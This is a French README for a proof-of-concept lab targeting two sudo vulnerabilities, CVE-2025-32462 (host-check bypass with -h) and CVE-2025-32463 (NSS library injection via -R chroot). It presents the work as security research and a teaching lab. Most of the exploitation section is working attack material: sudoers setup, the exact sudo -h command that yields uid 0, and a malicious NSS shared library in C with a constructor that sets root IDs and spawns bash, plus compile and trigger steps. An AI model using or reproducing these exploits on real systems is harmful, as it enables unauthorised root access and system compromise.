CVE-2025-32462 & CVE-2025-32463 – Laboratoire de PoC avancé

Ce dépôt fournit un laboratoire basé sur conteneur et un PoC détaillé pour deux vulnérabilités critiques de sudo:

CVE-2025-32462 – contournement de la logique de correspondance de l'hôte sudo -h
CVE-2025-32463 – échappement de la bibliothèque NSS via sudo -R chroot

Recherche et Crédits

Recherche originale par Rich Mirch – Stratascale CRU
Environnement PoC et laboratoire par MAAYTHM

Aperçu Technique

CVE-2025-32462 – Contournement de la logique de validation de l'hôte

Sudo applique l'autorisation basée sur l'hôte via Host_Alias dans /etc/sudoers.
La vulnérabilité survient lorsque l'option -h est fournie : sudo évalue le nom d'hôte fourni plutôt que le nom d'hôte canonique du système, permettant aux utilisateurs restreints de contourner les politiques sudo basées sur l'hôte.

Impact:

Contournement de politique basée sur l'hôte
Élévation de privilèges
Exécution non autorisée de commandes root

CVE-2025-32463 – Injection NSS via Chroot

L'option -R de sudo permet l'exécution dans un environnement chroot. Lors de l'initialisation, les bibliothèques NSS (Name Service Switch) sont chargées en fonction de /etc/nsswitch.conf. En fournissant un environnement chroot malveillant et une bibliothèque NSS personnalisée, un attaquant peut exécuter du code en tant que root.

Surface d'attaque:

Système de fichiers chroot contrôlé
nsswitch.conf défini par l'attaquant
Bibliothèque partagée NSS personnalisée chargée dynamiquement
Le code du constructeur s'exécute avec des privilèges élevés

Impact:

Élévation de privilèges root
Exécution de code arbitraire dans le contexte chroot

Environnement du Laboratoire

OS de base : Ubuntu 24.04
Version vulnérable de sudo : 1.9.16p2
Utilisateurs : pwn (non-root)
Isolation : Conteneur Docker avec réseau personnalisé

Structure du Dépôt

CVE-2025-32462-CVE-2025-32463-PoC-Lab
├── Dockerfile
│   # Construit l'environnement sudo vulnérable
│
├── exploit/
│   ├── cve_2025_32463.c
│   │   # Bibliothèque partagée NSS malveillante utilisée pour l'élévation de privilèges
│   └── build.sh
│       # Compile la charge utile d'exploit en un module NSS partagé
│
├── lab/
│   └── setup.sh
│       # Automatise la configuration du laboratoire vulnérable et la mise en place de sudoers
│
└── README.md
    # Documentation technique, analyse de vulnérabilité et guide d'utilisation du PoC

Analyse technique complète, procédure pas à pas du PoC, et guide d'exploitation

Configuration du Laboratoire Docker

FROM ubuntu:24.04

ENV DEBIAN_FRONTEND=noninteractive

RUN apt-get update && \
    apt-get install -y build-essential wget libpam0g-dev libselinux1-dev zlib1g-dev \
                       pkg-config libssl-dev git nano gcc && \
    rm -rf /var/lib/apt/lists/*

WORKDIR /opt
RUN wget https://www.sudo.ws/dist/sudo-1.9.16p2.tar.gz && \
    tar xzf sudo-1.9.16p2.tar.gz && \
    cd sudo-1.9.16p2 && \
    ./configure --disable-gcrypt --prefix=/usr && \
    make && make install

RUN useradd -m -s /bin/bash pwn && \
    echo 'pwn:pwn' | chpasswd

USER pwn
WORKDIR /home/pwn

CMD ["/bin/bash"]

Construire et Exécuter le Laboratoire

docker build -t sudo-vuln-lab .
docker network create --subnet=172.190.0.0/16 sudolabnet
docker run -d \
  --network sudolabnet \
  --ip 172.190.0.3 \
  --hostname lowpriv.test.local \
  --add-host highpriv.test.local:172.190.0.2 \
  --name lowpriv \
  sudo-vuln-lab tail -f /dev/null

CVE-2025-32462 – Exploitation

docker exec -u root -it lowpriv bash
echo 'Host_Alias HIGH = highpriv.test.local' >> /etc/sudoers
echo 'Host_Alias LOW = lowpriv.test.local' >> /etc/sudoers
echo 'pwn HIGH,!LOW = NOPASSWD:ALL' >> /etc/sudoers

Comportement normal :

sudo id
# Password required

Exploitation :

sudo -h highpriv.test.local id
# uid=0(root) gid=0(root) groups=0(root)
sudo -h highpriv.test.local hostname -f
# lowpriv.test.local

CVE-2025-32463 – Exploitation

mkdir -p exploitDir/etc
echo 'passwd: /cve_2025_32463' > exploitDir/etc/nsswitch.conf
mkdir libnss_
cp /etc/group exploitDir/etc/

Bibliothèque NSS malveillante :

#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor)) void GIVEMEROOT(void) {
  setreuid(0,0);
  setregid(0,0);
  chdir("/");
  execl("/bin/bash", "/bin/bash", NULL);
}

Compiler :

gcc -shared -fPIC -Wl,-init,GIVEMEROOT -o libnss_/cve_2025_32463.so.2 cve_2025_32463.c

Déclencheur :

sudo -R exploitDir <command>
# Root shell obtained
id
# uid=0(root) gid=0(root)

Populaires

CVE-2025-32462-CVE-2025-32463-PoC-Lab